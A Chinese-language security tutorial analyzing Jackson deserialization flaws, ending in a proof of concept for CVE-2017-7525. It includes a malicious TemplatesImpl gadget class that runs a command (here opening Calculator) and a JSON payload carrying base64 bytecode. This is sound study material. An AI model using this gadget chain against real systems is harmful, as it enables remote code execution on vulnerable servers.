反序列化漏洞例子——jackson反序列化漏洞的调试与分析
文章目录
Jackson 是用来序列化和反序列化 json 的 Java 的开源框架,Jackson 运行时占用内存比较低,性能比较好,且不依靠除JDK外的其他库。
反序列化例子
举一个jackson进行序列化和反序列化的例子,首先,我的依赖包如下所示:
<!-- jackson -->
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.7.9</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.7.9</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.7.9</version>
</dependency>
创建一个Student类
package Jackson;
public class Student {
public String name;
public String sex;
public Student(){
System.out.println("构造函数");
}
public String getName(){
System.out.println("getName");
return name;
}
public void setName(String name){
System.out.println("setName");
this.name = name;
}
public String getSex(){
System.out.println("getSex");
return sex;
}
public void setSex(String sex){
System.out.println("setSex");
this.sex = sex;
}
public String toString() {
return String.format("Student.name=%s, Student.sex=%s", name, sex);
}
}
然后创建一个JacksonTest类
package Jackson;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class JacksonTest {
public static void main(String[] args) throws IOException {
Student s = new Student();
s.name = "5wimming";
s.sex = "boy";
System.out.println("...writeValueAsString...");
ObjectMapper mapper = new ObjectMapper();
String json = mapper.writeValueAsString(s);
System.out.println(json);
System.out.println("...readValue...");
Student s2 = mapper.readValue(json, Student.class);
System.out.println(s2);
}
}
运行,输出:
构造函数
...writeValueAsString...
getName
getSex
{"name":"5wimming","sex":"boy"}
...readValue...
构造函数
setName
setSex
Person.name=5wimming, Person.sex=boy
从输出结果可以看到jackson在反序列的时候会调用get系列函数,而反序列化的时候会调用构造函数、set系列函数,这时候如果这些函数里面有恶意操作,那就可以触发漏洞了。
漏洞原因
其实跟fastjson反序列化漏洞原因类似,可以看看我前面写的超详细(又臭又长)的文章。漏洞出发方法主要分为两种:
1、目标类的构造函数、set系列函数含有恶意操作,并且参数可控制;
2、目标类的子类、活着目标类的属性的子类的构造函数、set系列函数含有恶意操作,并且参数可控制,如目标类有个属性类型为Object,那么服务端中任意其他类都能为我所用。
第一个方法有些苛刻,现在正常程序猿很少会干出这种事的,所以第二种方法是目前的主流方法。
漏洞条件
前面的第二种方法涉及到子类继承问题,比如反序列化的时候是否需要反序列化子类,反序列化哪个子类等。jackson实现了JacksonPolymorphicDeserialization机制来解决这种多态导致的问题。主要方法有两种:
1、在调用序列化函数writeValueAsString()前,通过enableDefaultTyping()申明序列化范围。
2、在被序列化类里面,对相应属性使用@JsonTypeInfo进行注解,从而设置序列化范围。
enableDefaultTyping
enableDefaultTyping可以设置如下参数,适用范围从上至下逐渐变大。
enableDefaultTyping类型 | 描述说明 |
---|---|
JAVA_LANG_OBJECT | 属性的类型为Object |
OBJECT_AND_NON_CONCRETE | 属性的类型为Object、Interface、AbstractClass |
NON_CONCRETE_AND_ARRAYS | 属性的类型为Object、Interface、AbstractClass、Array |
NON_FINAL | 所有除了声明为final之外的属性 |
举一个例子
新增一个Monitor类
package Jackson;
import java.io.IOException;
public class Monitor {
public String hacker = "test";
public Monitor() throws IOException {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
System.out.println("opened Calculator.app");
}
}
修改一下Student类
package Jackson;
public class Student {
public String name;
public String sex;
public Object myObject;
public Student(){
System.out.println("构造函数");
}
public String getName(){
System.out.println("getName");
return name;
}
public void setName(String name){
System.out.println("setName");
this.name = name;
}
public String getSex(){
System.out.println("getSex");
return sex;
}
public void setSex(String sex){
System.out.println("setSex");
this.sex = sex;
}
public Object getMyObject() {
System.out.println("getMyObject");
return myObject;
}
public void setMyObject(Object myObject) {
System.out.println("setMyObject");
this.myObject = myObject;
}
@Override
public String toString() {
return String.format("Person.name=%s, Person.sex=%s", name, sex);
}
}
poc类
package Jackson;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class JacksonTest {
public static void main(String[] args) throws IOException {
Student s = new Student();
s.name = "5wimming";
s.sex = "boy";
s.myObject = new Monitor();
System.out.println("...writeValueAsString...");
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT); //compare
String json = mapper.writeValueAsString(s);
System.out.println(json);
System.out.println("...readValue...");
Student s2 = mapper.readValue(json, Student.class);
System.out.println(s2);
}
}
执行对比结果如下:
// 未开启 JAVA_LANG_OBJECT
Student 构造函数
Monitor 构造函数: opened Calculator.app
...writeValueAsString...
getName
getSex
getMyObject
{"name":"5wimming","sex":"boy","myObject":{"hacker":"test"}}
...readValue...
Student 构造函数
setName
setSex
setMyObject
Person.name=5wimming, Person.sex=boy
//开启 JAVA_LANG_OBJECT
Student 构造函数
Monitor 构造函数: opened Calculator.app
...writeValueAsString...
getName
getSex
getMyObject
{"name":"5wimming","sex":"boy","myObject":["Jackson.Monitor",{"hacker":"test"}]}
...readValue...
Student 构造函数
setName
setSex
Monitor 构造函数: opened Calculator.app
setMyObject
Person.name=5wimming, Person.sex=boy
从结果可以直观看出,如果没有开JAVA_LANG_OBJECT,Monitor类在做反序列化的时候,只是做了赋值,并没有进行事例化,因此没有调用Monitor的构造函数;开启了JAVA_LANG_OBJECT后,反序列化Student时候也会发序列化Monitor,所以调用了Monitor的构造函数。
其他enableDefaultTyping类型功能类似,不过扩大了适用范围,如Interface、AbstractClass等。
@JsonTypeInfo
@JsonTypeInfo注解是Jackson多态类型绑定的第二种方式,主要有下面5种类型
类型 | 说明 |
---|---|
@JsonTypeInfo(use = JsonTypeInfo.Id.NONE) | 字如其名,和没设置一样 |
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS) | Json多了@class字段,用于标明相关属性的包和类名 |
@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS) | Json多了@c字段,用于标明相关属性的包和类名 |
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME) | Json多了@type字段,用于标明相关属性的类名(无包) |
@JsonTypeInfo(use = JsonTypeInfo.Id.CUSTOM) | 用户自定义,需要手写解析器 |
举个例子
修改Studnet类
package Jackson;
import com.fasterxml.jackson.annotation.JsonTypeInfo;
public class Student {
public String name;
public String sex;
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME)
public Object myObject;
public Student(){
System.out.println("Student 构造函数");
}
public String getName(){
System.out.println("getName");
return name;
}
public void setName(String name){
System.out.println("setName");
this.name = name;
}
public String getSex(){
System.out.println("getSex");
return sex;
}
public void setSex(String sex){
System.out.println("setSex");
this.sex = sex;
}
public Object getMyObject() {
System.out.println("getMyObject");
return myObject;
}
public void setMyObject(Object myObject) {
System.out.println("setMyObject");
this.myObject = myObject;
}
@Override
public String toString() {
return String.format("Person.name=%s, Person.sex=%s", name, sex);
}
}
修改poc类
package Jackson;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class JacksonTest {
public static void main(String[] args) throws IOException {
Student s = new Student();
s.name = "5wimming";
s.sex = "boy";
s.myObject = new Monitor();
System.out.println("...writeValueAsString...");
ObjectMapper mapper = new ObjectMapper();
String json = mapper.writeValueAsString(s);
System.out.println(json);
System.out.println("...readValue...");
Student s2 = mapper.readValue(json, Student.class);
System.out.println(s2);
}
}
执行结果
// @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
Student 构造函数
Monitor 构造函数: opened Calculator.app
...writeValueAsString...
getName
getSex
getMyObject
{"name":"5wimming","sex":"boy","myObject":{"@class":"Jackson.Monitor","hacker":"test"}}
...readValue...
Student 构造函数
setName
setSex
Monitor 构造函数: opened Calculator.app
setMyObject
Person.name=5wimming, Person.sex=boy
// @JsonTypeInfo(use = JsonTypeInfo.Id.NAME)
Student 构造函数
Monitor 构造函数: opened Calculator.app
...writeValueAsString...
getName
getSex
getMyObject
{"name":"5wimming","sex":"boy","myObject":{"@type":"Monitor","hacker":"test"}}
...readValue...
Student 构造函数
setName
setSex
Exception in thread "main" com.fasterxml.jackson.databind.JsonMappingException:...报错了
对比可以看到:
JsonTypeInfo.Id.CLASS注解后,序列化数据包含@class属性,其值为包+类名,可以反序列化成功;
而JsonTypeInfo.Id.NAME注解序列化后,@type的值只有一个类名,没有包名,导致发序列化的时候找不到相应类,从而报错。
总结
综上,我们可以总结出满足下面三个条件是可以导致反序列化漏洞:
- 调用了ObjectMapper.enableDefaultTyping()函数,参数为四个类型;
- 反序列化的类的属性使用了值为JsonTypeInfo.Id.CLASS的@JsonTypeInfo注解;
- 反序列化的类的属性使用了值为JsonTypeInfo.Id.MINIMAL_CLASS的@JsonTypeInfo注解;
调试
poc如下,在readValue()处打断点,跟进
package Jackson;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class JacksonTest02 {
public static void main(String[] args) throws IOException {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);
String json = "{\"name\":\"5wimming\",\"sex\":\"boy\",\"myObject\":[\"Jackson.Monitor\",{\"hacker\":\"test\"}]}";
System.out.println("...readValue...");
Student s2 = mapper.readValue(json, Student.class);
System.out.println(s2);
}
}
跟进_readMapAndClose函数
跟进反序列化函数deser.deserialize(jp, ctxt):
里面调用了vanillaDeserialize函数,继续跟进
vanillaDeserialize函数里面首先调用了createUsingDefault函数,该函数的功能是调用目标类的无参构造函数来生成实例
在实例化Student类之后,会进入一个do循环,主要作用就是循环遍历Student的属性键值对,并进行赋值,跟进deserializeAndSet函数
发现调用了deserialize函数,继续跟进:
通过_valueTypeDeserializer判断反序列化目标是否带有类型,若是则使用deserializeWithType函数进行反序列化,否则使用deserialize进行发序列化,由于name是系统String类型,所以进入deserialize()函数,跟进
return this._valueTypeDeserializer != null ? this._valueDeserializer.deserializeWithType(p, ctxt, this._valueTypeDeserializer) : this._valueDeserializer.deserialize(p, ctxt);
直接返回对应的值
获得对应值后,回到deserializeAndSet函数,接着调用invoke()函数对Student.name进行赋值,即会紧接着调用setName赋值函数
接下来sex赋值操作是一样的,我们来直接看myObject的操作,在com.fasterxml.jackson.databind.deser.SettableBeanProperty#deserialize函数中,由于myObject自带类型,所以会进入deserializeWithType()函数,跟进
进一步进入typeDeserializer.deserializeTypedFromAny(jp, ctxt),跟进
继续跟进
接着通过_locateTypeId函数获取得到typeId的值为Jackson.Monitor,再通过this._findDeserializer(ctxt, typeId)获得反序列化器,并缓存到map中。接着跟进deser.deserialize((JsonParser)p, ctxt)函数
_findDeserializer函数:
然后会继续调用vanillaDeserialize()函数来解析字典内的内容
接着会跟Student类相似,会调用createUsingDefault函数来事例化Monitor类
接下来的步骤就跟Student.name赋值一样了,不再累赘,调用到Monitor的构造函数时调用栈如下
<init>:7, Monitor (Jackson)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
call:119, AnnotatedConstructor (com.fasterxml.jackson.databind.introspect)
createUsingDefault:243, StdValueInstantiator (com.fasterxml.jackson.databind.deser.std)
vanillaDeserialize:249, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:125, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserialize:110, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeTypedFromAny:68, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeWithType:554, UntypedObjectDeserializer$Vanilla (com.fasterxml.jackson.databind.deser.std)
deserialize:493, SettableBeanProperty (com.fasterxml.jackson.databind.deser)
deserializeAndSet:95, MethodProperty (com.fasterxml.jackson.databind.deser.impl)
vanillaDeserialize:260, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:125, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_readMapAndClose:3807, ObjectMapper (com.fasterxml.jackson.databind)
readValue:2797, ObjectMapper (com.fasterxml.jackson.databind)
main:13, JacksonTest02 (Jackson)
CVE-2017-7525(基于TemplatesImpl利用链)
影响版本
Jackson 2.6系列 < 2.6.7.1
Jackson 2.7系列 < 2.7.9.1
Jackson 2.8系列 < 2.8.8.1
利用
首先下面是我的依赖包,我本地用的JDK版本为1.7.0_76
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.7.9</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.7.9</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.7.9</version>
</dependency>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.12</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.5</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>4.3.13.RELEASE</version>
</dependency>
创建一个恶意类,至于为什么需要继承AbstractTranslet,请参考前面写的文章
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class EvilClass extends AbstractTranslet {
public EvilClass() {
try {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
} catch (Exception e) {
e.printStackTrace();
}
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public static void main(String[] args) {
EvilClass e = new EvilClass();
}
}
创建需要反序列化的类,为了贴切实际,稍微复杂点:
package Jackson;
public class Student {
public String name;
public String sex;
//@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
public Object myObject;
public Student(){
System.out.println("Student 构造函数");
}
public String getName(){
System.out.println("getName");
return name;
}
public void setName(String name){
System.out.println("setName");
this.name = name;
}
public String getSex(){
System.out.println("getSex");
return sex;
}
public void setSex(String sex){
System.out.println("setSex");
this.sex = sex;
}
public Object getMyObject() {
System.out.println("getMyObject");
return myObject;
}
public void setMyObject(Object myObject) {
System.out.println("setMyObject");
this.myObject = myObject;
}
@Override
public String toString() {
return String.format("Student.name=%s, Student.sex=%s", name, sex);
}
}
创建poc,这里使用enableDefaultTyping模式,默认参数即可。
package Jackson;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.springframework.util.FileCopyUtils;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
public class JacksonPoc01 {
public static void main(String[] args) throws IOException {
String evil = readClassStr("/Users/rym/all/program/projects/idea/JavaProject7076/target/test-classes/EvilClass.class");
String payload= "{\"name\":\"5wimming\",\"sex\":\"boy\",\"myObject\":[\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",{\"transletBytecodes\":[\"" + evil + "\"],\"transletName\":\"5wimming\",\"outputProperties\":{}}]}";
System.out.println(payload);
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.readValue(payload, Student.class);
}
public static String readClassStr(String cls){
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
try {
FileCopyUtils.copy(new FileInputStream(new File(cls)),byteArrayOutputStream);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encode(byteArrayOutputStream.toByteArray());
}
}
输出如下:
{"name":"5wimming","sex":"boy","myObject":["com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",{"transletBytecodes":["yv66vgAAADEANgoACQAmCgAnACgIACkKACcAKgcAKwoABQAsBwAtCgAHACYHAC4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEABHRoaXMBAAtMRXZpbENsYXNzOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAvAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAKAAsHADAMADEAMgEAKG9wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAMADMANAEAE2phdmEvbGFuZy9FeGNlcHRpb24MADUACwEACUV2aWxDbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAJAAAAAAAEAAEACgALAAEADAAAAGYAAgACAAAAFiq3AAG4AAISA7YABFenAAhMK7YABrEAAQAEAA0AEAAFAAIADQAAABoABgAAAAgABAAKAA0ADQAQAAsAEQAMABUADgAOAAAAFgACABEABAAPABAAAQAAABYAEQASAAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAABIADgAAACAAAwAAAAEAEQASAAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAABYADgAAACoABAAAAAEAEQASAAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAkAIAAhAAEADAAAAEEAAgACAAAACbsAB1m3AAhMsQAAAAIADQAAAAoAAgAAABkACAAaAA4AAAAWAAIAAAAJACIAIwAAAAgAAQAPABIAAQABACQAAAACACU="],"transletName":"5wimming","outputProperties":{}}]}
Student 构造函数
setName
setSex
Exception in thread "main" com.fasterxml.jackson.databind.JsonMappingException: N/A...报错
to be continue。。。
本文地址:https://blog.csdn.net/qq_34101364/article/details/111996656